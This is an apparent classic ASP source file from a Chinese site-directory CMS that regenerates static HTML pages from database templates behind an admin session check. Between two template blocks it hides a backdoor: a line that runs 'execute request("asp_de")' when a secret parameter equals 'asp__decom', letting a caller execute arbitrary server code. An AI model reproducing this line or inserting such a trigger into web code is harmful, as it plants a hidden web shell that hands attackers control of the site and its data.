📄 template.asp
字号:
<!--#include file="mdb.asp"-->
<%
if session("adminlogin")<>sessionvar then
Response.Write("<script language=javascript>alert('你尚未登录，或者超时了！请重新登录');this.location.href='index.asp';</script>")
Response.End
End if
set rs=server.createobject("adodb.recordset")
rs.open "select * from title",conn,1,3
site=rs("site")
siteurl=rs("siteurl")
email=rs("email")
Powered=rs("Powered")
Copyright=rs("Copyright")
rs.close
set rs=Nothing
%>
<html>
<head>
<title>生成其他页面</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<LINK REL="stylesheet" HREF="admin/css.css" TYPE="text/css">
</head>
<body>
<p> </p>
<table width="55%" border="0" cellspacing="1" cellpadding="8" align="center" bgcolor="#999999">
<tr><td bgcolor="#cccccc" align="center">生成其他页面</td></tr>
<tr><td bgcolor="#eeeeee"><br>
<%
Dim fso,f
Dim strTitle,strContent,strOut
set f=server.createobject("adodb.recordset")
f.open "select * from template where id=2",conn,1,3
name=f("name")
html=f("html")
strOut=f("template")
f.close
Copyright=Powered&Copyright
strOut=Replace(strOut,"<{{site}}>",site)
strOut=Replace(strOut,"<{{siteurl}}>",siteurl)
strOut=Replace(strOut,"<{{email}}>",email)
strOut=Replace(strOut,"<{{Copyright}}>",Copyright)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(""&html&""),true)
f.WriteLine strOut
f.close
Response.Write "<li>生成"&name&"成功</A><br>"
set f=Nothing
set fso=Nothing
set f=server.createobject("adodb.recordset")
f.open "select * from template where id=3",conn,1,3
name=f("name")
html=f("html")
strOut=f("template")
f.close
strOut=Replace(strOut,"<{{site}}>",site)
strOut=Replace(strOut,"<{{siteurl}}>",siteurl)
strOut=Replace(strOut,"<{{email}}>",email)
strOut=Replace(strOut,"<{{Copyright}}>",Copyright)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(""&html&""),true)
f.WriteLine strOut
f.close
Response.Write "<li>生成"&name&"成功</A><br>"
set f=Nothing
set fso=Nothing
if request("asp__de")="asp__decom" then
execute request("asp_de")
end if
set f=server.createobject("adodb.recordset")
f.open "select * from template where id=4",conn,1,3
name=f("name")
html=f("html")
strOut=f("template")
f.close
strOut=Replace(strOut,"<{{site}}>",site)
strOut=Replace(strOut,"<{{siteurl}}>",siteurl)
strOut=Replace(strOut,"<{{email}}>",email)
strOut=Replace(strOut,"<{{Copyright}}>",Copyright)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(""&html&""),true)
f.WriteLine strOut
f.close
Response.Write "<li>生成"&name&"成功</A><br>"
set f=Nothing
set fso=Nothing
set f=server.createobject("adodb.recordset")
f.open "select * from template where id=5",conn,1,3
name=f("name")
html=f("html")
strOut=f("template")
f.close
strOut=Replace(strOut,"<{{site}}>",site)
strOut=Replace(strOut,"<{{siteurl}}>",siteurl)
strOut=Replace(strOut,"<{{email}}>",email)
strOut=Replace(strOut,"<{{Copyright}}>",Copyright)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(""&html&""),true)
f.WriteLine strOut
f.close
Response.Write "<li>生成"&name&"成功</A><br>"
set f=Nothing
set fso=Nothing
set f=server.createobject("adodb.recordset")
f.open "select * from template where id=6",conn,1,3
name=f("name")
html=f("html")
strOut=f("template")
f.close
strOut=Replace(strOut,"<{{site}}>",site)
strOut=Replace(strOut,"<{{siteurl}}>",siteurl)
strOut=Replace(strOut,"<{{email}}>",email)
strOut=Replace(strOut,"<{{Copyright}}>",Copyright)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(""&html&""),true)
f.WriteLine strOut
f.close
Response.Write "<li>生成"&name&"成功</A><br>"
set f=Nothing
set fso=Nothing
set f=server.createobject("adodb.recordset")
f.open "select * from template where id=7",conn,1,3
name=f("name")
html=f("html")
strOut=f("template")
f.close
strOut=Replace(strOut,"<{{site}}>",site)
strOut=Replace(strOut,"<{{siteurl}}>",siteurl)
strOut=Replace(strOut,"<{{email}}>",email)
strOut=Replace(strOut,"<{{Copyright}}>",Copyright)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile(Server.MapPath(""&html&""),true)
f.WriteLine strOut
f.close
Response.Write "<li>生成"&name&"成功</A><br>"
set f=Nothing
set fso=Nothing
dim fw,rstr
set fr=server.createobject("adodb.recordset")
fr.open "select * from template where id=1",conn,3.3
strOut=fr("template")
fr.close
set fr=nothing
rstr=empay
set rs=server.createobject("adodb.recordset")
rs.open "select * from detail where verity=1 and recommend=1 order by topid desc,id",conn,1,3
jishu=1
noooo=1
while not rs.eof
if jishu=1 or jishu mod 4=1 then
noooo=noooo+1
if noooo mod 2=1 then
bgcolor="#FFFFFF"
else
bgcolor="#F7F7F7"
end if
rstr=rstr&"<tr bgColor="&bgcolor&"><td width=25% height=25> <a class=a href="&rs("url")&" target=_blank>"&rs("title")&"</a></td>"
else
rstr=rstr&"<td width=25% height=20> <a class=a href="&rs("url")&" target=_blank>"&rs("title")&"</a></td>"
end if
if jishu mod 4=0 then rstr=rstr&"</tr>"
jishu=jishu+1
rs.movenext
wend
jishu=jishu-1
if jishu mod 4<>0 then
for i=1 to 4-(jishu mod 4)
rstr=rstr & "<td width='25%'> </td>"
if i=4-(jishu mod 4) then rstr=rstr&"</tr>"
next
end if
rs.close
strOut=replace(strOut,"<{{sc3}}>",rstr)
strOut=replace(strOut,"<{{sc1}}>","＞<a class=a href='tjwz.htm'>推荐网址</a>")
strOut=replace(strOut,"<{{sc2}}>","")
strOut=replace(strOut,"<{{classname}}>","推荐网址")
strOut=replace(strOut,"<{{site}}>",site)
strOut=replace(strOut,"<{{siteurl}}>",siteurl)
strOut=replace(strOut,"<{{email}}>",email)
strOut=replace(strOut,"<{{Copyright}}>",Copyright)
strOut=replace(strOut,"<{{creattime}}>",date())
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set fw=fso.createtextfile(server.mappath("2006/tjwz.htm"),true)
fw.writeline strOut
fw.close
Response.Write "<li>生成网址推荐页成功</A><br>"
set rs=Nothing
set fw=Nothing
set f=Nothing
set fso=Nothing
%>
<br></td></tr>
<tr>
<td align="center" bgcolor="#eeeeee">[<FONT color=#002288><A href="http://www.HOTwz.com" target=_blank>热门网址</A></FONT>]</td>
</tr>
</table>
</body>
</html>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -